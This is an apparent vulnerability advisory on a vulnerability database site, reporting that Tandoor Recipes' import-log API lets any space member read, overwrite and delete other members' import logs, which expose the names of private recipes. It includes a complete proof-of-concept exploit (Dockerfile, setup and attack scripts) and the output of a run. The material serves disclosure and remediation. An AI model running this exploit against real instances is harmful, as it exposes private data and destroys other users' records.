
Cloud Vulnerability DB
A community-led vulnerabilities database
ImportLogViewSet (/api/import-log/) filters import logs only by space and uses CustomIsUser, which has no object-level check. Any member of the user group in a space can therefore list, read, change (PATCH/PUT) and delete (DELETE) the import logs of every other member. An import log's msg lists each imported recipe as <id> - <name>, so it keeps the names of recipes that their owner later made private. The comparable ExportLogViewSet restricts the same kind of record to created_by=request.user with CustomIsOwner. We confirmed this on the latest develop: after the victim imported a recipe and made it private, the attacker got 403 for the recipe and no search result, but read its name from the victim's import log, overwrote the log (200) and deleted it (204); the victim then got 404 for their own log.
Tested on develop at commit cbb96e151fe0c57c16a4456fe1bd04230b1c1e5c (2026-10-27, release 2.7.2 plus one merge commit). The affected code is the same in 2.7.2.
cookbook/views/api.py:2501-2508, registered as import-log (cookbook/urls.py:27):
class ImportLogViewSet(LoggingMixin, viewsets.ModelViewSet):
queryset = ImportLog.objects
serializer_class = ImportLogSerializer
permission_classes = [CustomIsUser & CustomTokenHasReadWriteScope]
pagination_class = DefaultPagination
def get_queryset(self):
return self.queryset.filter(space=self.request.space)CustomIsUser (cookbook/helper/permission_helper.py:335-343) only checks membership in the user group and does not define has_object_permission, so DRF allows every object the queryset returns, for all methods of the ModelViewSet.get_queryset does not filter by created_by, although every log is created per user (ImportLog.objects.create(..., created_by=request.user, space=request.space), api.py:3075).ImportLogSerializer (cookbook/serializer.py:1710) exposes msg, running, total_recipes, imported_recipes, keyword and created_by; only created_by and keyword are read-only.f'{recipe.pk} - {recipe.name} \n' into msg for every imported recipe (cookbook/integration/integration.py:354-355), plus the names of recipes it skipped as duplicates and error messages. The log is not updated when a recipe is made private later.
For comparison, ExportLogViewSet (api.py:2511-2518) uses CustomIsOwner (permission_helper.py:247) and filter(space=self.request.space, created_by=self.request.user).poc/ runs Tandoor from the checkout with SQLite and gunicorn (options of boot.sh) in a container without network. setup_app.py creates victim, who owns a space, and attacker, a member of the user group of the same space, each with an OAuth2 token (read write). poc.py:
victim: imports a Paprika recipe "Victim Medical Diet Plan" through POST /api/import/ and makes it private (PATCH /api/recipe/<id>/ with private: true);attacker: GET /api/recipe/<id>/ and a recipe search (baselines), then GET /api/import-log/, PATCH and DELETE on the victim's log;victim: GET on the log afterwards.
Output of our run:VICTIM import 1 -> recipe 1; PATCH private=true -> 200 private=True
BASELINE attacker GET /api/recipe/1/ -> 403
BASELINE attacker recipe search "Medical" -> 200 count=0
ATTACK attacker GET /api/import-log/ -> 200; victim log listed: True
created_by=1 msg='1 - Victim Medical Diet Plan \nImported 1 recipes.\n'
ATTACK attacker PATCH /api/import-log/1/ -> 200 msg='changed by attacker' running=True
ATTACK attacker DELETE /api/import-log/1/ -> 204
VICTIM GET /api/import-log/1/ afterwards -> 404Save the files below into a directory poc/, then:
git clone https://github.com/TandoorRecipes/recipes.git && git -C recipes checkout cbb96e151fe0c57c16a4456fe1bd04230b1c1e5c
docker build --build-context target=./recipes -t recipes-poc poc/
docker run --rm --network none recipes-poc<details><summary><code>poc/Dockerfile</code></summary>
FROM python:3.14-slim
ENV PYTHONUNBUFFERED=1 \
DEBIAN_FRONTEND=noninteractive
RUN apt-get update && apt-get install -y --no-install-recommends \
build-essential pkg-config libldap-dev libsasl2-dev \
libxml2-dev libxslt1-dev libxmlsec1-dev libffi-dev libssl-dev curl \
&& rm -rf /var/lib/apt/lists/*
WORKDIR /target
COPY --from=target requirements.txt ./
RUN sed -i '/# Development/,$d' requirements.txt
RUN python -m venv /venv && \
/venv/bin/pip install --upgrade pip && \
/venv/bin/pip install -r requirements.txt --no-cache-dir
COPY --from=target . ./
RUN rm -rf .git && mkdir -p /target/staticfiles /target/mediafiles
COPY run.sh setup_app.py poc.py /target/
RUN chmod +x /target/run.sh
EXPOSE 8000
CMD ["/target/run.sh"]</details> <details><summary><code>poc/run.sh</code></summary>
#!/bin/sh
set -u
cd /target
export PYTHONUNBUFFERED=1
export SECRET_KEY="${SECRET_KEY:-poc-secret-key-not-production}"
export ALLOWED_HOSTS="${ALLOWED_HOSTS:-127.0.0.1,localhost}"
export DATABASE_URL="${DATABASE_URL:-sqlite://localhost//tmp/db.sqlite3}"
export DEBUG="${DEBUG:-0}"
export STATIC_ROOT="${STATIC_ROOT:-/target/staticfiles}"
export MEDIA_ROOT="${MEDIA_ROOT:-/target/mediafiles}"
echo "[run] migrate"
if ! /venv/bin/python manage.py migrate --noinput >/tmp/migrate.log 2>&1; then
tail -100 /tmp/migrate.log
exit 1
fi
echo "[run] setup user"
if ! /venv/bin/python setup_app.py >/tmp/setup.log 2>&1; then
tail -100 /tmp/setup.log
exit 1
fi
echo "[run] starting gunicorn"
/venv/bin/gunicorn \
--chdir /target \
--bind 127.0.0.1:8000 \
--workers "${GUNICORN_WORKERS:-3}" \
--threads 2 \
--timeout 30 \
--pid /tmp/gunicorn.pid \
--access-logfile /tmp/access.log \
--error-logfile /tmp/gunicorn.log \
--log-level info \
recipes.wsgi:application >/tmp/gunicorn-console.log 2>&1 &
GUNICORN_PID=$!
echo "$GUNICORN_PID" > /tmp/gunicorn.pid
echo "[run] waiting for gunicorn"
/venv/bin/python - <<'PY'
import socket, time
for _ in range(120):
try:
s = socket.create_connection(('127.0.0.1', 8000), timeout=1)
s.close()
break
except OSError:
time.sleep(0.5)
else:
raise SystemExit('gunicorn did not start')
print('gunicorn ready')
PY
echo "[run] executing poc"
/venv/bin/python poc.py
RC=$?
echo "[run] gunicorn arbiter log (worker lifecycle lines)"
grep -E 'Worker|worker|Booting|OOM|SIGKILL|out of memory|exited' /tmp/gunicorn.log | tail -20 || true
exit $RC</details> <details><summary><code>poc/setup_app.py</code></summary>
"""A space owned by `victim`, and `attacker`, a regular member of the same space."""
import os
os.environ.setdefault('DJANGO_SETTINGS_MODULE', 'recipes.settings')
import django
django.setup()
from django.contrib.auth.models import Group, User
from django.utils import timezone
from django_scopes import scopes_disabled
from oauth2_provider.models import AccessToken
from cookbook.helper.permission_helper import create_space_for_user
from cookbook.models import UserSpace
with scopes_disabled():
for name in ('guest', 'user', 'admin'):
Group.objects.get_or_create(name=name)
victim = User.objects.create_user('victim', password='victim-pass')
space = create_space_for_user(victim, name='Shared space').space
attacker = User.objects.create_user('attacker', password='attacker-pass')
us = UserSpace.objects.create(user=attacker, space=space, active=True)
us.groups.set([Group.objects.get(name='user')])
for user, token in ((victim, 'victim-token'), (attacker, 'attacker-token')):
AccessToken.objects.create(user=user, token=token, scope='read write',
expires=timezone.now() + timezone.timedelta(days=1))
print('setup complete')</details> <details><summary><code>poc/poc.py</code></summary>
"""ImportLogViewSet: any member of a space can read, change and delete other members' import logs.
1. victim imports a Paprika recipe through POST /api/import/ and then makes the
recipe private (PATCH /api/recipe/<id>/ private=true).
2. attacker (a regular member of the same space) requests the recipe
(baseline: refused) and the import logs: GET, PATCH and DELETE on the
victim's log.
"""
import gzip
import io
import json
import sys
import time
import zipfile
import requests
BASE = 'http://127.0.0.1:8000'
VICTIM = {'Authorization': 'Bearer victim-token'}
ATTACKER = {'Authorization': 'Bearer attacker-token'}
def paprika_zip(name):
recipe = {'name': name, 'description': '', 'servings': '1', 'cook_time': '0', 'prep_time': '0',
'directions': 'step', 'notes': '', 'nutritional_info': '', 'source': '', 'source_url': '',
'ingredients': 'salt', 'categories': [], 'photo_data': None, 'image_url': None}
buf = io.BytesIO()
with zipfile.ZipFile(buf, 'w') as z:
z.writestr('recipe.paprikarecipe', gzip.compress(json.dumps(recipe).encode()))
return buf.getvalue()
def main():
for _ in range(120):
try:
requests.get(BASE + '/api/import-log/', headers=VICTIM, timeout=3)
break
except requests.RequestException:
time.sleep(0.5)
# 1. The victim's import and private recipe.
r = requests.post(BASE + '/api/import/', headers=VICTIM, data={'type': 'PAPRIKA'},
files={'files': ('victim.zip', paprika_zip('Victim Medical Diet Plan'), 'application/zip')},
timeout=30)
log_id = r.json()['import_id']
for _ in range(100):
log = requests.get(f'{BASE}/api/import-log/{log_id}/', headers=VICTIM, timeout=10).json()
if not log['running']:
break
time.sleep(0.2)
recipe_id = int(log['msg'].split(' - ')[0])
r = requests.patch(f'{BASE}/api/recipe/{recipe_id}/', headers=VICTIM, json={'private': True}, timeout=10)
print(f'VICTIM import {log_id} -> recipe {recipe_id}; PATCH private=true -> {r.status_code} private={r.json().get("private")}')
# 2. The attacker.
r = requests.get(f'{BASE}/api/recipe/{recipe_id}/', headers=ATTACKER, timeout=10)
print(f'BASELINE attacker GET /api/recipe/{recipe_id}/ -> {r.status_code}')
r = requests.get(f'{BASE}/api/recipe/?query=Medical', headers=ATTACKER, timeout=10)
print(f'BASELINE attacker recipe search "Medical" -> {r.status_code} count={r.json().get("count")}')
r = requests.get(BASE + '/api/import-log/', headers=ATTACKER, timeout=10)
victim_logs = [x for x in r.json()['results'] if x['id'] == log_id]
print(f'ATTACK attacker GET /api/import-log/ -> {r.status_code}; victim log listed: {bool(victim_logs)}')
if victim_logs:
print(f' created_by={victim_logs[0]["created_by"]} msg={victim_logs[0]["msg"]!r}')
r = requests.patch(f'{BASE}/api/import-log/{log_id}/', headers=ATTACKER,
json={'msg': 'changed by attacker', 'running': True, 'imported_recipes': 0}, timeout=10)
print(f'ATTACK attacker PATCH /api/import-log/{log_id}/ -> {r.status_code} msg={r.json().get("msg")!r} '
f'running={r.json().get("running")}')
r = requests.delete(f'{BASE}/api/import-log/{log_id}/', headers=ATTACKER, timeout=10)
print(f'ATTACK attacker DELETE /api/import-log/{log_id}/ -> {r.status_code}')
r = requests.get(f'{BASE}/api/import-log/{log_id}/', headers=VICTIM, timeout=10)
print(f'VICTIM GET /api/import-log/{log_id}/ afterwards -> {r.status_code}')
return 0
if __name__ == '__main__':
sys.exit(main())</details>
A member of the user group can read every other member's import history in the space: the ids and names of the recipes they imported (also after those recipes were made private), the names of skipped duplicates and import errors. The attacker can also rewrite or delete those logs, for example to hide that an import happened or to make a finished import look as if it were still running. Recipes themselves are not changed through this endpoint. Guests cannot use it, because CustomIsUser requires the user group.
If you agree with this report, we would appreciate it if a CVE ID could be requested for the advisory when it is published.
Source: NVD
Free Vulnerability Assessment
Evaluate your cloud security practices across 9 security domains to benchmark your risk level and identify gaps in your defenses.
Get a personalized demo
"Best User Experience I have ever seen, provides full visibility to cloud workloads."
"Wiz provides a single pane of glass to see what is going on in our cloud environments."
"We know that if Wiz identifies something as critical, it actually is."